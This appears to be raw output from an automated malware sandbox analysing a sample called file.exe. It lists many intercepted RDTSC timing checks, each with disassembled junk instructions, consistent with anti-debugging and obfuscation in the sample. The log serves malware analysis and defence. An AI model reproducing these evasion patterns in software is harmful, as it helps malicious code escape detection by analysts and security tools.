Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1A09 second address: CC1A0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1A0E second address: CC1A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1BE4ECC066h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1B05 second address: CC1B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1EDC second address: CC1F43 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F1BE4ECC068h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 or edi, dword ptr [ebp+122D3D8Ah] 0x0000002a sub ecx, 425C80C3h 0x00000030 push 0000001Eh 0x00000032 mov ecx, 2BB49F5Eh 0x00000037 nop 0x00000038 jbe 00007F1BE4ECC07Fh 0x0000003e jmp 00007F1BE4ECC079h 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push esi 0x00000047 push edx 0x00000048 pop edx 0x00000049 pop esi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2203 second address: CC2209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2209 second address: CC220D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC220D second address: CC2211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2211 second address: CC2231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jmp 00007F1BE4ECC070h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6F33 second address: CF6F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jns 00007F1BE47673C6h 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6F45 second address: CF6F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 jnp 00007F1BE4ECC07Bh 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 ja 00007F1BE4ECC066h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6F75 second address: CF6F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F1BE47673CFh 0x0000000b jl 00007F1BE47673C6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6F93 second address: CF6FB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1BE4ECC066h 0x0000000a jmp 00007F1BE4ECC076h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6FB3 second address: CF6FB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7255 second address: CF7288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1BE4ECC066h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F1BE4ECC06Fh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 jmp 00007F1BE4ECC072h 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF73F9 second address: CF73FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF73FF second address: CF7405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7405 second address: CF7409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF77D9 second address: CF77DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF77DD second address: CF77F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F1BE47673ECh 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F1BE47673C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF77F1 second address: CF7809 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC074h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFF30 second address: CFFF6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D1h 0x00000007 jmp 00007F1BE47673D3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F1BE47673D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0709C second address: D070BF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1BE4ECC06Ch 0x0000000b pop edx 0x0000000c je 00007F1BE4ECC07Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007F1BE4ECC066h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D070BF second address: D070C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7AA09 second address: C7AA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06905 second address: D0690A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0690A second address: D06932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1BE4ECC077h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F1BE4ECC066h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06932 second address: D06936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06936 second address: D0693A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0693A second address: D06940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06A75 second address: D06A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1BE4ECC074h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06A8D second address: D06A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06A91 second address: D06A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06A97 second address: D06AAA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1BE47673CEh 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F1BE47673C6h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06BD1 second address: D06BE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F1BE4ECC066h 0x0000000a jno 00007F1BE4ECC066h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06D7F second address: D06D96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06D96 second address: D06D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D095E5 second address: D095FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1BE47673CFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D095FA second address: D0960B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007F1BE4ECC066h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0915A second address: D09160 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09160 second address: D09166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09166 second address: D0916B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0916B second address: D09175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D092CD second address: D092D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D092D3 second address: D092D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D092D7 second address: D092DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D092DB second address: D092F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F1BE4ECC06Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D947 second address: D0D97D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F1BE47673D0h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F1BE47673CAh 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f jg 00007F1BE47673C6h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DC2B second address: D0DC43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F1BE4ECC06Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DC43 second address: D0DC4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DC4C second address: D0DC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1266C second address: D12674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12674 second address: D1267A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12BF7 second address: D12C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F1BE47673C8h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F1BE47673C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12C0C second address: D12C23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC06Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F1BE4ECC066h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12D90 second address: D12D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12D96 second address: D12D9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12D9A second address: D12DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1CF1 second address: CC1D5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC076h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1BE4ECC06Ch 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F1BE4ECC068h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a jne 00007F1BE4ECC069h 0x00000030 push 00000004h 0x00000032 ja 00007F1BE4ECC06Ch 0x00000038 mov edi, dword ptr [ebp+122D3C52h] 0x0000003e nop 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jnl 00007F1BE4ECC066h 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1D5F second address: CC1D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1D64 second address: CC1D77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE4ECC06Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1D77 second address: CC1D9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d js 00007F1BE47673CCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13053 second address: D1305D instructions: 0x00000000 rdtsc 0x00000002 js 00007F1BE4ECC072h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1305D second address: D13063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D174BE second address: D174C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D174C2 second address: D174C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F6F1 second address: D1F713 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1BE4ECC066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F1BE4ECC06Bh 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F713 second address: D1F719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F719 second address: D1F74D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1BE4ECC066h 0x00000008 jmp 00007F1BE4ECC075h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F1BE4ECC075h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FA00 second address: D1FA20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D4h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F1BE47673C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FA20 second address: D1FA24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FA24 second address: D1FA2A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2020F second address: D20213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20213 second address: D20217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20217 second address: D2022E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F1BE4ECC066h 0x0000000d pushad 0x0000000e popad 0x0000000f jnl 00007F1BE4ECC066h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2022E second address: D2023B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F1BE47673C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2023B second address: D2028A instructions: 0x00000000 rdtsc 0x00000002 je 00007F1BE4ECC066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F1BE4ECC066h 0x00000011 jmp 00007F1BE4ECC073h 0x00000016 je 00007F1BE4ECC066h 0x0000001c popad 0x0000001d popad 0x0000001e push edi 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 push edi 0x00000023 pop edi 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F1BE4ECC078h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20579 second address: D2057D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20834 second address: D2083B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20AE3 second address: D20AE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29E35 second address: D29E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1BE4ECC06Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29E45 second address: D29E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F1BE47673C8h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29E52 second address: D29E57 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A3F8 second address: D2A3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A3FC second address: D2A401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A401 second address: D2A407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A407 second address: D2A40F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A40F second address: D2A417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A6DC second address: D2A6F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1BE4ECC078h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A6F9 second address: D2A705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1BE47673C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A852 second address: D2A875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007F1BE4ECC082h 0x0000000b jmp 00007F1BE4ECC076h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C2ED second address: D2C2F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C2F1 second address: D2C2F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C2F5 second address: D2C2FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3597E second address: D3599A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jl 00007F1BE4ECC080h 0x0000000d jnl 00007F1BE4ECC06Ch 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33B02 second address: D33B30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1BE47673D2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F1BE47673C8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F1BE47673C6h 0x00000019 jne 00007F1BE47673C6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33C9E second address: D33CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
